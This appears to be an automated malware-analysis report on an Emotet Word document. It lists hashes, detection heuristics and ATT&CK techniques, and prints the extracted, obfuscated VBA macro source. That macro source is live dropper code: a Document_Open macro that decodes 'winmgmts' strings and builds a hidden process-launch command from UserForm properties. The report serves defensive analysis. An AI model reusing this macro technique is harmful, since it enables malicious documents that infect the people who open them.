Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 afa9ccf9d2d64488…

MALICIOUS

Office (OLE)

172.8 KB Created: 2020-07-21 11:37:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 9c0a4ba79bd073f9fa7a81890f12de13 SHA-1: 5f953f167acc43b3ca2eb7468b9f773f10d3492e SHA-256: afa9ccf9d2d64488ff8f30d40b36771e8f4fc63e5e6ade35bdc2046031554d48
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet malware. The ClamAV detection name 'Doc.Dropper.EmotetIOS-9402070-0' further supports this attribution. The VBA script likely downloads and executes a second-stage payload, a common Emotet behavior.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9856 bytes
SHA-256: ab77c7fb47dea9118f02134cf40d9b22600d4d6989f56f0d4a6fc350d1f15ea4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "pouzcoivyoontiagchif"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
retnexvoevkuawbeos
End Sub


Attribute VB_Name = "quoachpiagquoalthoadrotbeoh"
Attribute VB_Base = "0{7FB90574-3BD0-4108-B25A-A222070179BE}{88C80486-507C-4AAC-A4B0-D6FA40025B75}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "faiwdolliobboutchear"
Function retnexvoevkuawbeos()
keirboazwij = Chr(quoachpiagquoalthoadrotbeoh.Zoom + 2 + 2 + 2 + 6 + 3)
Dim FCcbSfXm As Date
zeevmionjuus = "$12387ghbqhjwg2781vbjkKKb2winm$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2gm$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2t" + keirboazwij + "$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2:wi$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2n32_$12387ghbqhjwg2781vbjkKKb2" + quoachpiagquoalthoadrotbeoh.yeawxoxtheivmeoz + "roc$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2es$12387ghbqhjwg2781vbjkKKb2s"
Dim cgaNo As String
cgaNo = Replace$("l6ÆmYk0ÓFMeBnqVGS6ÒGNt", "l6ÆmYk0ÓFMeB", "sw7ÑQNomd")
hualtafxoujbousquag = fuuvfeaxyourceuxkeb(zeevmionjuus)
Dim qVcuRkJreP As Object
Set foufculgeoh = CreateObject(hualtafxoujbousquag)
Dim lWiD As Byte
baurmeejdeg = quoachpiagquoalthoadrotbeoh.caebsothgiol.ControlTipText
Dim OTA4Ït1ÚFEt As Integer
OTA4Ït1ÚFEt = 4
Do While OTA4Ït1ÚFEt < 4 + 9
OTA4Ït1ÚFEt = OTA4Ït1ÚFEt + 2: DoEvents
Loop
xeochqueanniechjimduagpan = hualtafxoujbousquag + keirboazwij + quoachpiagquoalthoadrotbeoh.kiej.ControlTipText + baurmeejdeg
Dim kfTvg As Boolean
deajgiabthiavwuayleupzuak = xeochqueanniechjimduagpan + quoachpiagquoalthoadrotbeoh.yeawxoxtheivmeoz
Dim ZIh As String
ZIh = Replace$("LUXCnATOCMj3ÚK8âgVUKK", "LUXCnATOC", "hnikNj")
Set yuavwubxucwoidfexwoaj = nuap(deajgiabthiavwuayleupzuak)
Dim kEFMeB As String
kEFMeB = Replace$("oBUVcu3ÜfYMZu", "oBU", "Css")
Dim SpYwyWVL As Boolean
R = Array(N, foufculgeoh. _
Create(tuactaok, quioxfaojyaujjeuvleeyqueath, yuavwubxucwoidfexwoaj))
Dim BZIhfU As Boolean
End Function
Function nuap(tauxrethlaidyoirroegseex)
Set nuap = CreateObject(tauxrethlaidyoirroegseex)
nuap _
. _
showwindow = (foyzoujtoumthoapbiewziox + bamhaulgeihtaepwiab) + (yozthoov + meerxeucveud)
Dim WaT1Ä As Integer
WaT1Ä = 7
Do While WaT1Ä < 7 + 8
WaT1Ä = WaT1Ä + 1: DoEvents
Loop
End Function
Function fuuvfeaxyourceuxkeb(koeplemxielgoad)
jaupwaehkodbauthdaod = koeplemxielgoad
Dim CgR As String
CgR = Replace$("ahwG4ÏbmiIGgfVVa", "ahwG4Ï", "facqb")
hoodduatchiyneopviebvech = Split(jaupwaehkodbauthdaod, "$12387ghbqhjwg2781vbjkKKb2")
Dim kX6Å6ÊSv6Û7ÊI As String
kX6Å6ÊSv6Û7ÊI = Replace$("Wo2áZSYIvyl6Ëc8", "Wo2áZS", "eIroHmnBW")
reojwaorjiovpoib = posx + Join(hoodduatchiyneopviebvech, posx)
Dim mnsIBRYFOu As String
mnsIBRYFOu = Replace$("V4ÜYNMoDtJHyYIF", "V4ÜYNMoDtJ", "U3ÑRm")
fuuvfeaxyourceuxkeb = reojwaorjiovpoib
Dim JKR As String
JKR = Replace$("dGcnGlYoQP1ÈjJPKM", "dGcnGlY", "WfNkTHqfe")
End Function
Function tuactaok()
io = quoachpiagquoalthoadrotbeoh.loicvouthgaop.Pages(1).ControlTipText
Dim EJCoQlgkOA As Integer
EJCoQlgkOA = 5
Do While EJCoQlgkOA < 5 + 3
EJCoQlgkOA = EJCoQlgkOA + 6: DoEvents
Loop
tuactaok = fuuvfeaxyourceuxkeb(io)
End Function


' Processing file: /opt/analyzer/scan_staging/7900863f439f4a1a875e68c595d5540b.bin
' ===============================================================================
' Module streams:
' Macros/VBA/pouzcoivyoontiagchif - 1377 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub pouzcoivyoontiagchif())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' Line #2:
' 	EndSub 
' Line #3:
' Macros/VBA/quoachpiagquoalthoadrotbeoh - 1208 bytes
' Macros/VBA/faiwdolliobboutchear - 5397 bytes

... (truncated)

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